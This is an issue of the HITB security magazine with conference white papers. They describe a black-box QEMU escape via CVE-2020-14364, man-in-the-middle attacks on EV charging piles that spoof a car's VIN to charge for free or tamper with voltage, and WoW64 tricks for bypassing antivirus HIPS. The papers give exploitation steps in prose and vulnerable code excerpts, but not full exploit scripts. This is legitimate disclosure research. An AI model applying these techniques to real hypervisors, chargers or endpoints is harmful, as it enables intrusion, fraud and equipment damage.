# 

Featuring WHITE PAPERS from HITB2021AMS!

X-IN-THE-MIDDLE: Attacking Fast Charging Piles and Electric Vehicles >> 10

MOVE OVER ROP: Towards a Practical Approach to Jump Oriented Programming INSECURE LINK: Security Analysis and Practical Attacks of LPWAN >> 50

EXPLOITING QSEE, The Raelize Way! >> 68

How I Found 16 Microsoft Office Excel Vulnerabilities in 6 Months >> 85

ey guys - hope you're all doing well despite the continued COVID madness that's still keeping us locked at home. We were hoping we'd be able to have an in-person conference in Amsterdam in May this year but it also looks like our upcoming Singapore event in August is going to have to go fully virtual as well.

While we wait for vaccine rollouts and a return to some kind of normalcy though, we've got a new edition of the HITB magazine to share with you featuring whitepapers by #HITB2021AMS speakers! We've also revamped the HITB Magazine landing page (https://magazine.hitb.org/) and given it a lemony fresh skin. If you're interested in submitting your own articles to our next issue, send your proposals to us at editorial@hackinthebox.org (Note: We only publish articles that are technical, so please don't send us your 'opinion pieces'.)

Despite our Singapore event being forced to go into virtual mode, we are still working on an in-person HITB+ CyberWeek in UAE in November.

Taking place from the 21st till the 25th of November at the Abu Dhabi National Convention Center, CyberWeek 2021 will feature our usual deep-knowledge tracks, hands-on labs, and technical trainings but also an exclusive C-level business track for governments as well as a combined .edu and PRO Capture The Flag contest! Don't worry if you can't make it to the UAE in person though - the event is designed to be hybrid and most of the talks, labs, and content will be recorded or live streamed.

On behalf of the HITB Editorial Team, stay safe, get your vaccines (if you haven't already), and hopefully we'll be chilling with you guys in November at CyberWeek!

- The Usual HITB Suspects



# A black box escape of QEMU based on USB device Lingni Kong and Yanyu Zhang

Qemu is a machine emulator, dedicated to providing emulation of different devices for cloud environments. Many exploits targeting Qemu based on different vulnerabilities have been developed and shown in public, yet all of them need some information about the binary file. In this paper, we analyze the cause of CVE-2020-14364, which is a memory out-of-bounds read and write vulnerability in the USB device of Qemu, and introduce a new approach of realizing the exploit without additional information based on this vulnerability.

# ABSTRACT

# INTRODUCTION

When virtualization technology acts as the core of cloud computing today, virtualization software including Qemu-KVM, Hyper-V, Xen, Virtualbox, VMware ESXi, equips on public and private clouds widespread.

As the most popular open-source cloud architecture, OpenStack uses Qemu-KVM as the virtualization implementation of its computing nodes. Therefore, the threat of vulnerabilities in Qemu is very noteworthy for the cloud platform security.

Although Redhat fixes a large number of vulnerabilities in Qemu every year, most of them will not affect OpenStack because they just exploit components not provided by OpenStack. For example, the vulnerabilities CVE-2015-5165 and CVE-2015-7504 [1] presented at the security conference HITB.

Even some serious vulnerabilities affect OpenStack, such as CVE-2015-3456(called the venom vulnerability [2].) which is a heap overflow vulnerability in the virtual floppy disk device. However, no one is able to display a complete exploit or relevant idea publicly.

As the above mentioned, there are only a few vulnerabilities that can be used to escape from the OpenStack virtual machine. It's more challenging to develop an exploit for virtual machine escape in the public cloud since it is difficult for an attacker to obtain the key information such as Qemu version, binary files, and so on.

Thus, when we view as an attacker targeted on public cloud instruments, not only considering the exploitable of vulnerability or stability of the method, it's more vital to escape the affected virtual machine without any additional information.

In this paper, we briefly introduce the Qemu-KVM architecture at first, then we interpret a new conception: black box escape. After analyzing a vulnerability (CVE-2020-14364) impacted cloud security profoundly, we present our approach to achieving a black box escape of a Qemu virtual machine based on this vulnerability. Finally, we give some inspirations via our experience.

# BACKGROUND

# Qemu-KVM

Qemu is a machine emulator that can simulate different architectures or a complete virtual machine including processor virtualization [3], memory virtualization, and I/O device virtualization.

What's more, Qemu uses different accelerators to accelerate the simulation process, and KVM is one of them. KVM is responsible for realizing the virtualization of CPU and memory in the kernel mode by loading new modules on the Linux kernel [5].

So, while the system is initializing and simulating, Qemu only assure to implement the virtual hardware in the user mode. The architecture of Qemu-KVM improves the performance of system virtualization significantly.

## Virtual machine escape

The significance of virtual machines is to serve an isolating virtual operating environment. And its isolation mechanism makes sure that different virtual machines do not interfere with each other or when the virtual machines share host resources, their operations will not disrupt host OS.

Nevertheless, virtual machine escape can be exploited to execute malicious code, which makes the program break away from the virtual machine [4], even attack the host OS, or obtain the host's related permissions.Due to the privileged status of the host OS, the escape of the virtual machine could lead to a serious consequence from attacking the host OS and collapse the entire security system. Therefore, the threat of virtual machine escape to system security is self-evident.

The virtual machine escape attack can be traced to 2007, but the relatively au-hortative concept was proposed by Ken Owens until 2009. From the record and analysis by CVE corporation, the vulnerability of virtual machine escape still increases year by year.

Nowadays, virtual machine escape vulnerabilities have been discovered from all major virtualization software platforms: As early as 2009, a vulnerability in SVGA devices on VMware virtualization platform can realize virtual machine escape; In 2016, researchers achieved Xen escape through a vulnerability in virtual memory management.

Black box escape is a new conception we propose after summarizing the characteristics of our exploit approach. In fact, 'black box' in the conception is similar to the sense of black-box testing: black-box testing can test software functions without getting the internal structure and code of the program. Similarly, black box escape means that an attacker can escape from a virtual machine without binary symbol information. As compared to the normal methods which need load address and system address from Glibc, black box escape makes attacking public cloud directly possible.

# Qemu USB support

Before analyzing the vulnerability CVE-2020-14364, a general comprehension of how does USB data transfer and how does Qemu virtual device process the USB data packets is necessary.

In the Linux kernel, the driver sends the USB data and the structure containing information to the USB device by parsing the urb (USB request block) structure. The related structure plays a role to describe the specific information of data, including the length, type, and address of the USB device for sending or reading the data on the bus.

The corresponding controllers of usb1.0, usb2.0, and usb3.0 are all simulated by Qemu. The driver in guest OS sends USB packets by reading and writing the registers of the corresponding device. For example, we can send a UHCI\_ TD structure to the device by reading and writing the registers of the usb1.0 default controller UHCI. The UHCI\_TD structure describes the type, length, and other information of the data we want to transmit.

Libvirt is a toolkit to manage virtualization platforms, which is used in OpenStack. For each virtual machine created by default, libvirt provides a USB-tablet device on the usb1.0 or usb2.0 bus to solve the bug of mouse synchronization.

The connection method of the USB device will not have any impact on our exploit since the unique position of CVE-2020-14364. So, exploit can easily adapt to platforms based on different connection methods by only modifying the sending method of USB packets.

# VULNERABILITY

Under normal circumstances, the driver sends and receives USB packets to the control endpoint as figure 1 shows:



Figure 1: A set of normal data packets for reading and writing USB control endpoint.

- 1. The driver sends an 8-byte TOKEN\_SETUP type data packet. The front six bytes contain control information, and the last two bytes are combined to show the length of the data the driver wants to read or write.
- 2. When the driver wants to read the control information of some USB devices, the driver will send another TOKEN\_IN USB packet matching the length to read the corresponding control information.

 When the driver wants to set the control information of some USB devices, the driver will send another TOKEN\_ OUT USB packet matching the length to set the corresponding control information.

CVE-2020-14364 is a memory out-ofbounds read and write vulnerability. It exists in function do\_token\_setup in the hw/usb/core.c file. This function will process the USB SETUP packet sent to the control endpoint.

As shown in Figure 2 below, the sixth and seventh bytes of setup data are combined in a 16-bit integer, and the integer is assigned to the setup\_len in the USBDevice structure.

1	static void do token setup(USBDevice*s,USBPacket*p)
2	{
3	int request, value, index;
4	if $(p \rightarrow iov.size != 8)$
5	p->status = USB RET STALL;
6	return;
7	}
8	usb_packet_copy(p,s->setup_buf,p->iov.size);
9	$s \rightarrow setup_index = 0;$
10	$p \rightarrow actual_length = 0;$
11	$s \rightarrow setup\_len = (s \rightarrow setup\_buf[7] \iff 8)   s \rightarrow setup\_buf[6];$
12	if (s->setup_len > sizeof(s->data_buf)) {
13	fprintf(stderr,
14	"usb_generic_handle_packet:ctrl buffer too small (%d >%zu)\n",
15	s->setup_len, sizeof(s->data_buf));
16	p->status = USB_RET_STALL;
17	return;
18	}
19	
20	if (s->setup_buf[0] & USB_DIR_IN) {
21	<pre>usb_device_handle_control(s,p,request,value,index,s-&gt;     setup_len, s-&gt;data_buf);</pre>
22	
23	s->setup_state = SETUP_STATE_DATA;
24	} else {
25	if $(s \rightarrow setup len = 0)$
26	s->setup_state = SETUP_STATE_ACK;
27	else
28	s->setup_state = SETUP_STATE_DATA;
29	}
30	
31	$p \rightarrow actual\_length = 8;$
32	}

Figure 2: A code snippet of do\_token\_setup()

When the setup\_len is too large then make the check fail, do\_token\_setup will

exit directly without clearing the setup\_ len value. This causes the setup\_len of USBDevice illegal when processing the next data packet.

So it's possible to construct this error process as memory out-of-bounds read and write as Figure 3 shows.



Figure 3: A set of data packets used to trigger out-of-bounds read and write vulnerabilities.

- 1. The driver sends an 8-byte TOKEN\_SETUP type data packet, which indi-cates that the driver wants to read the controlw information of the USB device. After the execution of do\_token\_setup, the setup\_ state of the USBDevice will be set to SETUP\_STATE\_DATA.
- 2. The drive sends an 8 bits TOKEN\_SETUP USB packet again. Compared with the content sent at the first time, only the last two bytes representing the length are modified, which will trigger the error we mentioned above: the function do\_token\_setup will set setup\_len to an illegal size before exiting, meanwhile setup\_state is still SETUP\_ STATE DATA.

 At this time, as Figure 4 shows, if we send a large number of TOKEN\_OUT USB packet, there will be an out-of-bound write of data\_buf in function do\_token\_ out.

```
static void do_token_in(USBDevice *s,USBPacket *p)
          switch(s->setup_state){
           case SETUP STATE DATA:
               if (s->setup_buf[0] & USB_DIR_IN){
    int len = s->setup_len - s->set
    if (len > p->iov.size){
        len = p->iov.size;
    }
}
                                                                    setup_index;
                        usb_packet_copy(p,s->data_buf + s->setup_index,len
                        s->setup_index += len;
13
                       if (s->setup_index >= s->setup_len){
    s->setup_state = SETUP_STATE_ACK;
14
17
                        return:
19
          }
21
      tatic void do_token_out(USBDevice*s,USBPacket*p)
23
          switch(s->setup_state){
           case SETUP STATE DATA:
               e SEIUP_SIALE_DAIA:
    if (!(s->setup_buf[0] & USB_DIR_IN)){
        int len = s->setup_len - s->setup_index;
        if (len > p->iov.size){
            len = p->iov.size;
                        usb_packet_copy(p,s->data_buf + s->setup_index,len
                        s->setup_index += len;
                       if (s->setup_index >= s->setup_len) {
    s->setup_state = SETUP_STATE_ACK;
                        return;
```

Figure 4: A code snippet of do\_token\_in() and do\_token\_out().

In the same way, we can perform an array reading out-of-bounds operation on data\_buf through similar operations:

1. The driver sends an 8-byte TOKEN\_SETUP type data packet, which indicates that the driver wants to read the control information of the USB device. After the execution of do\_token\_setup ends, the setup\_state of the USBDevice will be set to SETUP\_STATE\_ DATA.

- 2. The driver sends an 8-byte TOKEN\_SETUP type data packet again. Compared with the content sent for the first time, only the last two bytes representing the length are modified, which triggers the error we mentioned above. In this way, when exiting the do\_token\_setup function, do\_ token\_setup will set the setup\_ len to an illegal size while the setup\_state is still SETUP\_ STATE\_DATA.
- 3. At this time, as Figure 4 shows, if we send a large number of TOKEN IN USB packet, there will be an out-of-bound read of data buf in function do token in.

We can use the above two methods to convert the bug into a continuous outof-bounds read and write to data\_buf of USBDevice.

# **BLACK BOX ESCAPE**

Combined the vulnerability with structure of the USBDevice, we build two primitives:



Figure 5: Some members of USBDevice.

- 1. Arbitrary offset memory read and write primitive after data\_ buf. Based on the vulnerability triggering method mentioned above, we are able to do continuously out-of-bound read and write to the data buf of USBDevice. As Figure 5 shows, the related variables setup\_state, setup\_len and setup\_index used for out-ofbounds read and write are all after data\_buf. We build this primitive by triggering this vulnerability and modifying these three variables.
- 2. Arbitrary read primitive. The driver gets the vendor id and product id of the USB device by sending a series of packets. As shown in Figure 6, these two types of id are stored in the USBDesc structure, which is pointed to by usb\_desc of USBDevice. The usb desc structure pointer is located at a fixed offset after data\_buf. Therefore, we construct an arbitrary address reading primitive by changing the usb\_ desc structure pointer to the memory address we want to read, and reading the vendor id and product id of the USB device through a series of packets.





By using these two primitives, we realize black box escape through two steps:

1. Libc relevant address leakage. In the USBDevice, different endpoints are described by USBEndpoint. As shown in Figure 7 (below), USBEndpoint has a pointer pointed to the USBDevice and it's also behind the memory of data\_ buf. There is a DeviceS-tate structure stored at the head of the USBDevice which has many function pointers. ObjectFree is one of them which is used to release the Object structure. It points to the free function of a certain library.

Since all final implementation of free for all library functions is in Glibc of Linux and the free implementation of other libraries is just a jump instruction in the plt segment, we get the address of free of Glibc by repeating parsing the jump instruction and reading the GOT table.

Once we get the address of free of Glibc, we search the memory and get the address of the system of Glibc as dynELF [6] does. We search for the location of the Glibc ELF head by matching the magic number of the ELF head first. After getting it, we find the system string by traversing the .dynstr section in the ELF and read the same offset of the .dyn section to get the offset of the system function. After pulsing the base address of Glibc, we finally get the address of the system function in the memory.



Figure 7: Relationships between the structures we used to leak the address of free function

2. Hijackcontrolflow.Thedriversetthefreetimeofusb-tabletthroughSET\_IDLE control command. The realization of this function in Qemu is to set a timer and call the hid\_idle\_timer function after the timeout. The hid\_idle\_timer functionwilleventuallyuseafunctionpointerofHIDStatetohandletheevent.

As shown in Figure 8, the HIDState structure is a part of USBHIDState, and the offset relative to the data\_buf array is fixed, so we hijack the control flow by overwriting the event function pointer in the HIDState structure. We are also able to control the first argument of the function pointer by overwriting the start position of the HIDState structure. Finally, we send SET\_IDLE control command to trigger the call of the event function.



Figure 8: Relationships between the structures we used to hijack control flow.

# DISCUSSION

# Impact

The vulnerability CVE-2020-14364 was independently reported to RedHat by 360 security researcher Xiao Wei and Qi Anxin security researcher Zhang Ziming. Redhat fixed the vulnerability on August 24, 2020. This vulnerability affects all versions of Qemu between 1.0 and 5.1.0. Triggering the vulnerability requires at least one USB device connected to the virtual machine.

# Defence

It's of concern to deploy a sandbox on Qemu process for defending CVE-2020-14364.

# CONCLUSION

In the past few years, there have been some highquality vulnerabilities in Qemu. But currently, there is no vulnerability that can achieve a black box escape Qemu virtual machine through a single vulnerability like CVE-2020-14364. What's more concerning is that the range of versions affected by the vulnerability is very large, and for different versions, the method of exploitation does not require any modification at all.

For cloud vendors, this vulnerability is an important warning. The emergence of black box escapes means that some vulnerabilities can pose serious threats even in the absence of binary files. It also means that it is necessary to set a certain sandbox strategy for the Qemu process. After all, we should never put all eggs in a basket.

# ACKNOWLEDGMENT

We would like to thank Haipeng Qu and Hanqing Zhao for constructive suggestions in the paper writing.

# REFERENCES

[1] Xu Liu, Shengping Wang." Escape From The Docker-KVM-QEMU Machine." Hitbsecconf2016: https://conference.hitb. org/hitbsecconf2016/sessions/escape-from-the-dockerkvm-qemu-machine/.

[2] "VENOM Vulnerability". venom.crowdstrike.com. Retrieved 2018-12-07

[3] Fabrice Bellardet.al.QEMU,2019:https://www.qemu. org/.

[4] Baliga, Arati, Liviu Iftode, and Xiaoxin Chen. "Automated containment of rootk-its attacks." Computers Security 27.7-8 (2008): 323-334.

[5] Datta, Shamanna M, et al. "Hardware protection of virtual machine monitor run-time integrity watcher." U.S. Patent No. 9,566,158. 14 Feb. 2017.

[6] https://docs.pwntools.com/en/stable/dynelf.html



# INTRODUCTION

# **EV CHARGING**

The rapid expansion of the electric vehicle market has promoted the construction of charging infrastructure.DC charging has higher charging power, and in order to confirm the charging voltage and current, the electric vehicle and the charging station will communicate after being connected.



Figure 1: AC VS DC Charging

# -IN-THE-MIDDLE Attacking Fast Charging Piles and Electric Vehicles

Wu HuiYu and Li YuXiang

There are different charging standards in different country. For example, all electric cars in China must support the GB/T standard. Electric car use CAN-BUS to communicate with charging plies, while in most parts of Europe, CCS standards are used, and Electric cars and charging piles use PLC to communicate. with the exception of Tesla, who has its own Supercharger network all over the world, and it uses a private communication protocol.

	CHAdeMO	GB/T	US-COMBO CCS1	EUR-COMBO CCS2	Tesla 🍸
Connector		0			~
Inlet	Inlet		ē		0
EC 🛞			$\checkmark$	$\checkmark$	
	<b><b>♦</b>IEEE</b>		SAE		
<u> </u>	$\checkmark$			$\checkmark$	
. III)	$\checkmark$	$\checkmark$	$\checkmark$	$\checkmark$	
📒 GB		$\checkmark$			
Protocol	CA	N	P	LC	CAN
V2X Function	$\checkmark$				?
Max Power	400kW 1000x400	185kW 750x250	200kW 600x400	350kW 900x400	?
Market Power	150kW	125kW	150kW	350kW	120kW
Start @	2009	2013	2014	2013	2012

Table 1 Charging Standards

In addition, we also want to talk about why we chose to study the electric charging security. The main reason is that we found Electric vehicles infrastructure is making progress towards a more intelligent, more high-power direction.

The construction of charging stations is accelerating all over the world, but there is little research on the security of electric vehicle infrastructure.

# ATTACK SURFACE ANALYSIS

First of all, EV Charging piles are also Internet of things devices, which usually have builtin intelligent systems and operating interfaces, while facing security risks in hardware, systems, cloud services and communications.

But our focus is on the security of the communication protocol between the electric vehicle and the charging pile. This will be a new and interesting exploration.

The following picture shows the process of charging a car at a DC charging station, Charge controller communicates with BMS before charging to confirm parameters such as charging voltage and current, which involves a lot of data exchange.

So, if we can implement a man-in-the-middle attack, we might be able to

- 1. Find Vulnerabilities in BMS and Charge controller through Fuzzing;
- 2. Analyze private protocols and bypass identity authentication mechanism;
- 3. Damage the car by tampering with the charging voltage and current.



Figure 2 DC Charging's Arch

# WHAT IS "X-IN-THE-MIDDLE" ATTACK?

In order to conduct security testing safely and conveniently, we have designed a tool called XCharger. The core of XCharger is a data processing terminal based on STM32MCU or raspberrypi, which isolates CAN-BUS messages from BMS and charging posts. All CAN-BUS messages can not be transmitted normally until they are transferred through XCharger, which allows us to monitoring, fuzzing and tampering CAN-BUS messages in the whole charging process.

Another feature is that we designed the whole tool into a 20-inch suitcase, which has two charging sockets, one is connected to the charging pile, the other is connected to the electric vehicle, the high-voltage circuit is directly connected, and only four CAN-BUS communication interfaces are exported to ensure high-voltage safety.



Figure 3 X-in-the-Middle Attack

When we do security research, the most important thing is It should be able to ensure that personal safety and vehicle safety are not threatened in the test. DC charging can reach a voltage of up to 750V or a current of 120A. Once a short circuit occurs, it is very dangerous for the tester and the car.

Secondly, we hope that the attack equipment should be highly compatible, suitable for all electric vehicles with Chinese DC charging standard. Instead of requiring customization for each brand of electric cars or charging piles.

We also found CAN-BUS communication requires low latency, and man-in-themiddle attacks need to ensure that frames will not be drop. (Fig 4)

We rented a tesla model3 for testing and found that its charging port exported the CAN-BUS bus interface with a separate plug. This meant we might be able to disconnect the original connection in the trunk to achieve a man-in-the-middle attack, but the problem is that this may lead to line damage, which does not seem suitable for such an operation on a rented vehicle. (Fig 5, 6)



Figure 5: Tesla Model3's Charging Model's data cable



Figure 4: GB/T DC Charging Gun

A perfect solution we have is the equipment shown (Fig 7). You can see that it has two charging ports, one end is connected to the electric vehicle, the other end is connected to the charging connector, the CAN-BUS interface of the BMS of the electric vehicle, and the CAN-BUS interface of the charging pile are all exported on the surface.





Figure 8 Dual-plug charging cable



Figure 6: Tesla Model3's Charging Model

Figure 7 XCharger Kit



Simultaneously, we have customized a dual-plug charging cable (Fig 8) to connect the equipment and the car, this equipment is designed by us and made by professional manufacturers in Shenzhen, China, which can ensure the safety of high-voltage power use.

There are many open source tools available for CAN-BUS' monitoring, fuzzing and tampering, to use both raspberrypi and two-way CAN extension boards. We can use Python to develop a testing framework on the built-in ubuntu system. Due to the limited time, we will release more details and code in the future.



Figure 9 RaspberryPi and two-way CAN extension boards.

We use XCharger to do a quick test on the Tesla supercharger in China, and the test results verify that the device can capture the message successfully, but we do not have any more tests because we do not have the Charging port's DBC file to translate the CAN-BUS message.



Figure 10 Quick test on the Tesla Supercharger

We found that some of the messages in the CAN-BUS communication between SuperCharger and Tesla Model3 use private protocols. Some messages conform to the GB/T 27930 standard. When testing with Model3, there is a high probability that it will not be able to charge successfully. The reason is still being analyzed. So if you want to reverse the complete protocol, it may be better to analyze the firmware of BMS or SuperCharger.

	А	В	С
1	FRAME SEQ	FRAME ID	DLC
2	15526	1C5456F4	8
3	15527	185556F4	8
4	15528	185656F4	8
5	15529	1856F456	8
6	15530	1C5456F4	8
7	15531	185556F4	8
8	15532	185656F4	8
9	15533	1856F456	8
10	15534	1826F456	3
11	15535	1807F456	7
12	15536	1854F456	8
13	15537	80	8
14	15538	1C5456F4	8
15	15539	185556F4	8
16	15540	185656F4	8
17	15541	1857F456	8
18	15542	1856F456	8
19	15543	1C5456F4	8
20	15544	185556F4	8
21	15545	185656F4	8
22	15546	1856F456	8
23	15547	1C5456F4	8

Table 2 Private protocol of SuperCharger

# HOW TO ATTACK "PLUG AND CHARGE"

In addition to the Tesla Supercharger, we spend more time in public charging stations. Plug and Charge is a new way of automating payment for EV charging. Users do not need to swipe their cards or scan codes, just connect the charging pile to the vehicle charging port to automatically complete identity authentication and payment.

For electric vehicle companies that build their own charging piles, such as Tesla, private communication and authentication protocols can be used to ensure the security of "Plug and Charge".

Considering compatibility and cost, some public charging station operators have chosen to use VIN to complete vehicle identity authentication on the basis of GB/T 27930 standard. Operators do not realize that VIN is not a security identification in insecure CAN-BUS communication.

GB/T 27930 is the Chinese standard for electric vehicle battery charging. Cable charging standard GB/T 27930 is based on the SAE J1939 network protocol and uses the CAN bus with a point-to-point connection between the charger and the battery management system. A transmission rate of 250 kbit per second is used by default.

D
DATA
04 02 00 00 00 00 00 00
00 00 08 00 3F 00 00 00
02 36 30 38 00 00 00 00
E1 FC 60 F0 FC FF FF FF
04 02 00 00 00 00 00 00 00
00 00 08 00 3F 00 00 00
00 4C 52 57 33 45 37 45
C1 F9 60 F0 FC FF FF FF
01 01 00
BD 12 00 00 00 00 00
00 00 90 80 C0 FF FF FF
01 02 03 04 05 06 07 08
04 02 00 00 00 00 00 00 00
00 00 08 00 3F 00 00 00
01 41 34 4C 43 30 37 37
39 8A 00 00 FF FF FF FF
E1 FC 60 F0 FC FF FF FF
04 02 00 00 00 00 00 00 00
00 00 08 00 3F 00 00 00
02 36 30 38 00 00 00 00
E1 FC 60 F0 FC FF FF FF
04 02 00 00 00 00 00 00 00





Figure 12 GB/T 27930 Charging process

Charging communication involves both the battery management system and the charger agreeing on the power requirements of the vehicle and both the amperages and voltages used during charging, as well as monitoring the charging process. With the GB/T protocol, communication is divided into the following parts during the charging process:

In the handshake recognition phase, the charger connection check is completed and general information such as the protocol version and vehicle information (battery type, vehicle identification number etc.) is exchanged. What's most concerning is that during Phase 2, the BMS will transmit the VIN number to the charging pile.





Figure 13: GB/T 27930 Charging protocol

А	В	С	D	E
FRAME SEQ	FRAME ID	DLC	DATA	Message translation
0	1826F456	3	01 01 00	Charger message CHM: Charger handshake Charger Communication Protocol version number: v1.1
1	182756F4	2	4C 1D	Vehicle message BHM: maximum allowable charging voltage for vehicle handshake: 750.0V
2	1826F456	3	01 01 00	Charger message CHM: Charger handshake Charger Communication Protocol version number: v1.1
3	182756F4	2	4C 1D	Vehicle message BHM: maximum allowable charging voltage for vehicle handshake: 750.0V
4	1826F456	3	01 01 00	Charger message CHM: Charger handshake Charger Communication Protocol version number: v1.1
5	182756F4	2	4C 1D	Vehicle message BHM: maximum allowable charging voltage for vehicle handshake: 750.0V
6	1801F456	8	00 01 00 00 00 00 00 00	Charger message CRM: charger identification result: BMS can not identify charger number: 00000001
7	1CEC56F4	8	10 31 00 07 FF 00 02 00	Vehicle message BRM:BMS and vehicle identification message multi-packet message: first message
8	1CECF456	8	11 07 01 FF FF 00 02 00	The charger is ready to receive multi-packet messages: vehicle message BRM:
9	1CEB56F4	8	01 01 01 00 01 90 01 AC	Parse according to the agreement: the message is: vehicle message BRM: package 1
10	1CEB56F4	8	02 0D XX XX XX XX XX 56	Parse according to the agreement: the message is: vehicle message BRM: package 2
11	1CEB56F4	8	03 34 12 1F 08 02 64 00	Parse according to the agreement: the message is: vehicle message BRM: package 3
12	1CEB56F4	8	04 00 00 00 74 61 6E 67	Parse according to the agreement: the message is: vehicle message BRM: package 4
13	1CEB56F4	8	05 6F 00 00 00 00 00 00	Parse according to the agreement: the message is: vehicle message BRM: package 5
14	1CEB56F4	8	06 00 00 00 00 00 00 00	Parse according to the agreement: the message is: vehicle message BRM: package 6
15	1CEB56F4	8	07 02 08 E0 07 FF FF FF	The last packet of the vehicle message BRM:BMS and the vehicle identification message. Protocol version: v1.1 lead-acid battery
16	1CECF456	8	13 31 00 07 FF 00 02 00	The charger receives and completes the multi-packet message: the vehicle message BRM: receives a total of 49 bytes of data

Table 3: BRM Message during the handshake

After actual testing, we use cantools and the corresponding DBC file to successfully translate all messages during the charging process as shown in Fig 13 (left).

We found The BMS of the electric vehicle transmits the vehicle's VIN to the charging pile for identity authentication in the BRM message during the handshake recognition, as tabulated in Table 3. The following is the complete Plug & Charge's arch. First, the car owner needs to register and bind the vehicle's VIN number on the charging pile operator's APP, and activate automatic payment.

Secondly, when the car owner is charging, owner only needs to directly plug the charging gun into the electric car to charge.

The Charging pile will upload the VIN transmitted from the BMS to the operator's cloud server, and the operator will query and return the user credentials corresponding to the VIN in the background database. After the charging pile receives the user credentials, it will start charging and automatically pay at the end of the charge.



**DC Fast Charging Pile** 

Figure 14 Plug & Charge based on VIN

Vehicle identification number (VIN) is a unique code, including a serial number, used by the automotive industry to identify individual vehicles. The biggest problem is VIN is public plaintext information, with specific coding rules, and can also be obtained from the front windshield of the car.



Figure 15 VIN Coding rule



Figure 16: The position of VIN on the Tesla Model3

In order to configure the attack script quickly, we have written a tool that its main functions include the tampering of VIN, charging voltage and current. It also supports the BMS simulation, so that we can test the charging pile without a vehicle.

XCharger					-	×
			▼ Connect		Stop Charging	
			Mode Setting			
C BMS Simulation	n î Ta	mper	C Monitor		Confirm	
	Tamper Setting					
	Vehicle's VIN:	5YJ3E1EAXHF00	00000		Confirm	
I∽ BCP			rent of vehicle (A): tage of vehicle (V):	120 750		
I⊽ BCL	Vehicle's chargin	g voltage deman	d (V): 750	Vehicle's current demand (A):	120	
		F	igure 17 XCharge	er		

Driver Side Lower B Pillar





Figure 18 Real World Attack

# **REAL WORLD ATTACK**

In order to verify our tools in the real world, we rented 5 electric cars of different models and tested multiple charging stations that support Plug & Charge. We verified that after obtaining the VIN on the windshield of the vehicle, the charging pile can be successfully attacked by XCharger to achieve free charging.

All the vulnerabilities we found have been notified to the vendor and fixed.

# **FUTURE TRENDS**

According to the news, the next-generation charging standard "Chaoji", dominated by China and Japan, will be officially released, it's improving the security of communications and identity authentication. (Fig 19)

ChaoJi charging supports plug and charge, V2X, automatic charging system and other new technology applications. Some of the security risks mentioned in our talk may be resolved.

In addition, we also see another new standard, ISO15118 (Fig 20). It is a standard for vehicle-to-grid communication, uses asymmetric encryption and digital signature to ensure the security of communication between electric cars and charging stations, and supports "plug and charge". It uses PLC communication, which is mainly used in Europe.





Through the discussion of these trends, we are very happy to see that security has become a must be considered in these standards. We believe that in the near future, when these new technologies and new standards are applied in the real world, they will promote the security development of the entire electric vehicle charging industry.

# HITBMag | June 2021

ol Suites	Sec	curity
ng DC-Charging	×	
ИL	(ML S	
xı	(ML Security	TLS
GTP		
ТСР		
SLAAC, DAS		
PLC (Power Line		
communication)		
ome Plug Green PHY		
O 15118		



# REBUILDING HEAVEN'S GATE

# from 32-bit Hell to 64-bit Wonderland

ShengHao Ma

It is necessary for Microsoft to provide backwards-compatibility for 32-bit software on 64-bit editions of Windows through the "Windows32 on Windows64" (WoW64) layer, used to simulate any 32-bit binary as a native 64-bit process.

This is because, for compatibility, most application vendors would like to release their products as 32-bit binary files that can be used both on 32- and 64-bit versions of Windows.

In this report, we will discuss the WoW64 layer of the latest Windows 10 Enterprise by conducting reverse engineering. We'll explore how a WoW64 process is created in native 64-bit Windows, the difference between 32-bit & 64-bit system interrupts, the translation engine embedded in the WoW64 layer, and the relevant attack vectors.

We will demonstrate a new method to "knock on heaven's gate", that rebuild a whole new path to the WoW64 translator. This makes it possible to do process hollowing and bypass HIPS protection of NOD32 at the same time.

We also found a new attack vector: abusing the design of WoW64 thread context snapshots to create a gadget, which can then be used to take over the execution control flow of WoW64. It allowed us to arbitrarily inject and conduct bypasses, and execute a mimikatz process under HIPS protection of AVAST.

# **OVERVIEW**

# WoW64 PROCESS CREATION

# RunSimulatedCode

There is a function called RunSimulatedCode which is exported from wow64cpu.dll (64-bit DLL) and is used as a thread initiation entry under WoW64 layer.

At the begin of the function (as shown above) 64-bit thread keeps a copy of important register statuses on the stack, allocating 68 bytes to the stack stack as a buffer. It performs a series of Initializations specific to the 64-bit WoW64 thread:

CpupSir	mulateHandler
push	r15
push	r14
push	r13
push	r12
push	rbx
push	rsi
push	rdi
push	rbp
sub	rsp, 68h
mov	r12, gs:30h
lea	r15, TurboThunkDispatch
mov	r13, [r12+1488h]
add	r13, 80h ; '€'

- 1. Set register r12 point to 64-bit TEB (Thread Environment Block)
- 2. Set register r15 point to a function table: TurboThunkDispatch.
- 3. Set register r13 point to 32-bit thread context, and It's recorded in TEB64 + offset 0x1488.

About point 1: Even if we're in pure 32-bit mode, we still can get the address of TEB64 easily via gs:0x30. For point 2, TurboThunkDispatch, we'll share more information shortly.

The most interesting part for us was point 3: registering r13 points to the 32-bit thread context being used as snapshot for changing thread mode from 32-bit to 64-bit, and vice versa.

# TurboThunkDispatch

As mentioned before, register r15 point to a function table named TurboThunkDispatch, including a total of 32 different callback functions which are used as trampoline to enable the 32-bit system call to be simulated as 64-bit native interrupts.

FormostWin32APIsexportedfromntdll.dll,only2callbackfunctionsofTurboThunkDispatch that must be known will be executed:

TurboThunkDis	patch	dq off:	set TurboDispatch
			;
off_6B103608		offset	Thunk0Arg ;
off_6B103610		offset	Thunk0ArgReloadS
off_6B103618		offset	Thunk1ArgSp ;
off_6B103620		offset	Thunk1ArgNSp
off_6B103628	dq	offset	Thunk2ArgNSpNSp
off_6B103630	dq	offset	Thunk2ArgNSpNSpR
off_6B103638	dq	offset	Thunk2ArgSpNSp
off_6B103640		offset	Thunk2ArgSpSp 💡
off_6B103648	dq	offset	Thunk2ArgNSpSp
off_6B103650	dq	offset	Thunk3ArgNSpNSpN
off_6B103658	dq	offset	Thunk3ArgSpSpSp
off_6B103660	dq	offset	Thunk3ArgSpNSpNS
off_6B103668		offset	Thunk3ArgSpNSpNS
off_6B103670		offset	Thunk3ArgSpSpNSp
off_6B103678		offset	Thunk3ArgNSpSpNS
off_6B103680	dq	offset	Thunk3ArgSpNSpSp
off_6B103688	dq	offset	Thunk4ArgNSpNSpN
off_6B103690	dq	offset	Thunk4ArgSpSpNSp
off_6B103698	dq	offset	Thunk4ArgSpSpNSp
off_6B1036A0	dq	offset	Thunk4ArgSpNSpNS
off_6B1036A8		offset	Thunk4ArgSpNSpNS
off_6B1036B0	dq	offset	Thunk4ArgNSpSpNS
